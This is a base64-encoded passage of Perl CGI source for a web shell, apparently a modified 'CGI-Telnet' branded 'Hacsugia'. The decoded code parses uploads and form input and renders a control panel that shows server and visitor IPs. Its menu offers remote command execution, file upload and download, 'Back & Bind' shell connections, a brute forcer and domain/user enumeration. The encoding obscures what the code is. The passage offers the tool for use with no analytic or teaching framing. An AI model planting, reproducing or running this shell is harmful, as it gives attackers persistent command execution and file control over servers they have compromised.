SAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwokY29scz0gMTUwOwokcm93cz0gMjY7CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBSZWFkcyB0aGUgaW5wdXQgc2VudCBieSB0aGUgYnJvd3NlciBhbmQgcGFyc2VzIHRoZSBpbnB1dCB2YXJpYWJsZXMuIEl0CiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlwYXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9LgojIE90aGVyIHZhcmlhYmxlcyBjYW4gYmUgYWNjZXNzZWQgdXNpbmcgJGlueyd2YXInfSwgd2hlcmUgdmFyIGlzIHRoZSBuYW1lIG9mCiMgdGhlIHZhcmlhYmxlLiBOb3RlOiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBDR0kKIyBzY3JpcHRzLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBSZWFkUGFyc2UgCnsKCWxvY2FsICgqaW4pID0gQF8gaWYgQF87Cglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOwoJCgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsKCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQoJewoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9OwoJfQoJZWxzaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiUE9TVCIpCgl7CgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOwoJCXJlYWQoU1RESU4sICRpbiwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7Cgl9CgoJIyBoYW5kbGUgZmlsZSB1cGxvYWQgZGF0YQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pCgl7CgkJJEJvdW5kYXJ5ID0gJy0tJy4kMTsgIyBwbGVhc2UgcmVmZXIgdG8gUkZDMTg2NyAKCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyAKCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOwoJCSRIZWFkZXJCb2R5ID1+IC9cclxuXHJcbnxcblxuLzsKCQkkSGVhZGVyID0gJGA7CgkJJEJvZHkgPSAkJzsKIAkJJEJvZHkgPX4gcy9cclxuJC8vOyAjIHRoZSBsYXN0IFxyXG4gd2FzIHB1dCBpbiBieSBOZXRzY2FwZQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5OwoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgCgkJJGlueydmJ30gPSAkMTsgCgkJJGlueydmJ30gPX4gcy9cIi8vZzsKCQkkaW57J2YnfSA9fiBzL1xzLy9nOwoKCQkjIHBhcnNlIHRyYWlsZXIKCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQoJCXsgCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOwoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87CgkJCSRrZXkgPSAkMTsKCQkJJHZhbCA9ICQnOwoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gPSAkdmFsOyAKCQl9Cgl9CgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkKCXsKCQlAaW4gPSBzcGxpdCgvJi8sICRpbik7CgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQoJCXsKCQkJJGluWyRpXSA9fiBzL1wrLyAvZzsKCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsKCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7CgkJCSRpbnska2V5fSAuPSAkdmFsOwoJCX0KCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcgojIEFyZ3VtZW50IDE6IEZvcm0gaXRlbSBuYW1lIHRvIHdoaWNoIGZvY3VzIHNob3VsZCBiZSBzZXQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlSGVhZGVyCnsKCSRFbmNvZGVkQ3VycmVudERpciA9ICRDdXJyZW50RGlyOwoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCW15ICRkaXIgPSRDdXJyZW50RGlyOwoJJGRpcj1+IHMvXFwvXFxcXC9nOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+Cjx0aXRsZT5IYWNzdWdpYTwvdGl0bGU+CgokSHRtbE1ldGFIZWFkZXIKCjwvaGVhZD4KPHN0eWxlPgpib2R5ewpmb250OiAxMHB0IFZlcmRhbmE7Cn0KdHIgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKY29sb3I6ICNmZjk5MDA7Cn0KdGQgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKY29sb3I6ICMyQkE4RUM7CmZvbnQ6IDEwcHQgVmVyZGFuYTsKfQoKdGFibGUgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKQkFDS0dST1VORC1DT0xPUjogIzExMTsKfQoKCmlucHV0IHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwpmb250OiAxMHB0IFZlcmRhbmE7CmNvbG9yOiAjZmY5OTAwOwp9CgppbnB1dC5zdWJtaXQgewp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47CmNvbG9yOiAjRkZGRkZGOwpib3JkZXItY29sb3I6ICMwMDk5MDA7Cn0KCmNvZGUgewpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsKQkFDS0dST1VORC1DT0xPUjogQmxhY2s7CmZvbnQ6IDEwcHQgVmVyZGFuYSBib2xkOwpjb2xvcjogd2hpbGU7Cn0KCnJ1biB7CmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMzOwpmb250OiAxMHB0IFZlcmRhbmEgYm9sZDsKY29sb3I6ICNGRjAwQUE7Cn0KCnRleHRhcmVhIHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7CmZvbnQ6IEZpeGVkc3lzIGJvbGQ7CmNvbG9yOiAjYWFhOwp9CkE6bGluayB7CglDT0xPUjogIzJCQThFQzsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTp2aXNpdGVkIHsKCUNPTE9SOiAjMkJBOEVDOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmhvdmVyIHsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjZmY5OTAwOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmFjdGl2ZSB7Cgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUKfQoKLmxpc3RkaXIgdHI6aG92ZXJ7CgliYWNrZ3JvdW5kOiAjNDQ0Owp9Ci5saXN0ZGlyIHRyOmhvdmVyIHRkewoJYmFja2dyb3VuZDogIzQ0NDsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmU7Cn0KLm5vdGxpbmV7CgliYWNrZ3JvdW5kOiAjMTExOwp9Ci5saW5lewoJYmFja2dyb3VuZDogIzIyMjsKfQo8L3N0eWxlPgo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4KZnVuY3Rpb24gY2htb2RfZm9ybShpLGZpbGUpCnsKCS8qdmFyIGFqYXg9J2FqYXhfUG9zdERhdGEoIkZvcm1QZXJtc18nK2krJyIsIiRTY3JpcHRMb2NhdGlvbiIsIlJlc3BvbnNlRGF0YSIpOyByZXR1cm4gZmFsc2U7JzsqLwoJdmFyIGFqYXg9IiI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYWpheCArICInIHZhbHVlPU9LPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fY2htb2RfZm9ybShyZXNwb25zZSxpLHBlcm1zLGZpbGUpCnsKCXJlc3BvbnNlLmlubmVySFRNTCA9ICI8c3BhbiBvbmNsaWNrPVxcXCJjaG1vZF9mb3JtKCIgKyBpICsgIiwnIisgZmlsZSsgIicpXFxcIiA+IisgcGVybXMgKyI8L3NwYW4+PC90ZD4iOwp9CmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQp7Cgl2YXIgYWpheD0iIjsKCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOwoJdmFyIGJhY2s9InJtX3JlbmFtZV9mb3JtKCIraSsiLFxcXCIiK2ZpbGUrIlxcXCIsXFxcIiIrZisiXFxcIik7IHJldHVybiBmYWxzZTsiOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nJyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1yZW5hbWUgdHlwZT10ZXh0IHZhbHVlPSAnIitmaWxlKyInIC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBhamF4ICsgIicgdmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBiYWNrICsgIicgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fcmVuYW1lX2Zvcm0oaSxmaWxlLGYpCnsKCWlmKGY9PSdmJykKCXsKCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Y29tbWFuZCZkPSRkaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsKCX1lbHNlCgl7CgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2ZpbGUrICIgXTwvYT4iOwoJfQp9Cjwvc2NyaXB0Pgo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzBjMGMwYyIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4KPGNlbnRlcj48Y29kZT4KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+Cjx0cj4KCTx0ZCBhbGlnbj0iY2VudGVyIiByb3dzcGFuPTI+CgkJPGI+PGZvbnQgc2l6ZT0iNSI+JEVkaXRQZXJzaW9uPC9mb250PjwvYj4KCTwvdGQ+CgoJPHRkPgoKCQk8Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4kRU5WeyJTRVJWRVJfU09GVFdBUkUifTwvZm9udD4KCTwvdGQ+Cgk8dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSIjY2MwMDAwIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4gfCBZb3VyIElQOiA8Zm9udCBjb2xvcj0iIzAwMDAwMCI+JEVOVnsnUkVNT1RFX0FERFInfTwvZm9udD4KCTwvdGQ+Cgo8L3RyPgoKPHRyPgo8dGQgY29sc3Bhbj0iMyI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbiI+SG9tZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y29tbWFuZCZkPSRFbmNvZGVkQ3VycmVudERpciI+Q29tbWFuZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1ndWkmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkdVSTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwKCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJhY2tiaW5kIj5CYWNrICYgQmluZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1icnV0ZWZvcmNlciI+QnJ1dGUgRm9yY2VyPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNoZWNrbG9nIj5DaGVjayBMb2c8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG9tYWluc3VzZXIiPkRvbWFpbnMvVXNlcnM8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5Mb2dvdXQ8L2E+IHwKPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9IiMiPkhlbHA8L2E+Cgo8L2ZvbnQ+PC90ZD4KPC90cj4KPC90YWJsZT4KPGZvbnQgaWQ9IlJlc3BvbnNlRGF0YSIgY29sb3I9IiNmZjk5Y2MiID4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luU2NyZWVuCnsKCglwcmludCA8PEVORDsKPHByZT48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+ClR5cGluZ1RleHQgPSBmdW5jdGlvbihlbGVtZW50LCBpbnRlcnZhbCwgY3Vyc29yLCBmaW5pc2hlZENhbGxiYWNrKSB7CiAgaWYoKHR5cGVvZiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCA9PSAidW5kZWZpbmVkIikgfHwgKHR5cGVvZiBlbGVtZW50LmlubmVySFRNTCA9PSAidW5kZWZpbmVkIikpIHsKICAgIHRoaXMucnVubmluZyA9IHRydWU7CS8vIE5ldmVyIHJ1bi4KICAgIHJldHVybjsKICB9CiAgdGhpcy5lbGVtZW50ID0gZWxlbWVudDsKICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2sgPSAoZmluaXNoZWRDYWxsYmFjayA/IGZpbmlzaGVkQ2FsbGJhY2sgOiBmdW5jdGlvbigpIHsgcmV0dXJuOyB9KTsKICB0aGlzLmludGVydmFsID0gKHR5cGVvZiBpbnRlcnZhbCA9PSAidW5kZWZpbmVkIiA/IDEwMCA6IGludGVydmFsKTsKICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5lbGVtZW50LmlubmVySFRNTDsKICB0aGlzLnVucGFyc2VkT3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0OwogIHRoaXMuY3Vyc29yID0gKGN1cnNvciA/IGN1cnNvciA6ICIiKTsKICB0aGlzLmN1cnJlbnRUZXh0ID0gIiI7CiAgdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgdGhpcy5lbGVtZW50LnR5cGluZ1RleHQgPSB0aGlzOwogIGlmKHRoaXMuZWxlbWVudC5pZCA9PSAiIikgdGhpcy5lbGVtZW50LmlkID0gInR5cGluZ3RleHQiICsgVHlwaW5nVGV4dC5jdXJyZW50SW5kZXgrKzsKICBUeXBpbmdUZXh0LmFsbC5wdXNoKHRoaXMpOwogIHRoaXMucnVubmluZyA9IGZhbHNlOwogIHRoaXMuaW5UYWcgPSBmYWxzZTsKICB0aGlzLnRhZ0J1ZmZlciA9ICIiOwogIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7CiAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiI7Cn0KVHlwaW5nVGV4dC5hbGwgPSBuZXcgQXJyYXkoKTsKVHlwaW5nVGV4dC5jdXJyZW50SW5kZXggPSAwOwpUeXBpbmdUZXh0LnJ1bkFsbCA9IGZ1bmN0aW9uKCkgewogIGZvcih2YXIgaSA9IDA7IGkgPCBUeXBpbmdUZXh0LmFsbC5sZW5ndGg7IGkrKykgVHlwaW5nVGV4dC5hbGxbaV0ucnVuKCk7Cn0KVHlwaW5nVGV4dC5wcm90b3R5cGUucnVuID0gZnVuY3Rpb24oKSB7CiAgaWYodGhpcy5ydW5uaW5nKSByZXR1cm47CiAgaWYodHlwZW9mIHRoaXMub3JpZ1RleHQgPT0gInVuZGVmaW5lZCIpIHsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsJLy8gV2UgaGF2ZW4ndCBmaW5pc2hlZCBsb2FkaW5nIHlldC4gIEhhdmUgcGF0aWVuY2UuCiAgICByZXR1cm47CiAgfQogIGlmKHRoaXMuY3VycmVudFRleHQgPT0gIiIpIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSAiIjsKLy8gIHRoaXMub3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0LnJlcGxhY2UoLzwoW148XSkqPi8sICIiKTsgICAgIC8vIFN0cmlwIEhUTUwgZnJvbSB0ZXh0LgogIGlmKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCkgewogICAgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjwiICYmICF0aGlzLmluVGFnKSB7CiAgICAgIHRoaXMudGFnQnVmZmVyID0gIjwiOwogICAgICB0aGlzLmluVGFnID0gdHJ1ZTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIj4iICYmIHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gIj4iOwogICAgICB0aGlzLmluVGFnID0gZmFsc2U7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy50YWdCdWZmZXI7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICImIiAmJiAhdGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiYiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IHRydWU7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI7IiAmJiB0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gIjsiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOwogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMuSFRNTEVudGl0eUJ1ZmZlcjsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSB7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICB9CiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gdGhpcy5jdXJyZW50VGV4dDsKICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgKz0gKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCAtIDEgPyAodHlwZW9mIHRoaXMuY3Vyc29yID09ICJmdW5jdGlvbiIgPyB0aGlzLmN1cnNvcih0aGlzLmN1cnJlbnRUZXh0KSA6IHRoaXMuY3Vyc29yKSA6ICIiKTsKICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsKICB9IGVsc2UgewoJdGhpcy5jdXJyZW50VGV4dCA9ICIiOwoJdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgICAgICAgdGhpcy5ydW5uaW5nID0gZmFsc2U7CiAgICAgICAgdGhpcy5maW5pc2hlZENhbGxiYWNrKCk7CiAgfQp9Cjwvc2NyaXB0Pgo8L3ByZT4KCjxmb250IHN0eWxlPSJmb250OiAxNXB0IFZlcmRhbmE7IGNvbG9yOiB5ZWxsb3c7Ij5Db3B5cmlnaHQgKEMpIDIwMDEgUm9oaXRhYiBCYXRyYSA8L2ZvbnQ+PGJyPjxicj4KPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgd2lkdGg9IjYwMCIgaGVpZ2g+Cjx0Ym9keT48dHI+Cjx0ZCB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaHR0cDovL2RsLmRyb3Bib3guY29tL3UvMTA4NjAwNTEvaW1hZ2VzL21hdHJhbi5naWYiPjxwIGlkPSJoYWNrIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDNweDsiPgo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+IFBsZWFzZSBXYWl0IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4KCjxmb250IGNvbG9yPSIjMDA5OTAwIj4gVHJ5aW5nIGNvbm5lY3QgdG8gU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPn5cJDwvZm9udD4gQ29ubmVjdGVkICEgPC9mb250Pjxicj4KPGZvbnQgY29sb3I9IiMwMDk5MDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+IENoZWNraW5nIFNlcnZlciAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuPC9mb250PiA8YnI+Cgo8Zm9ud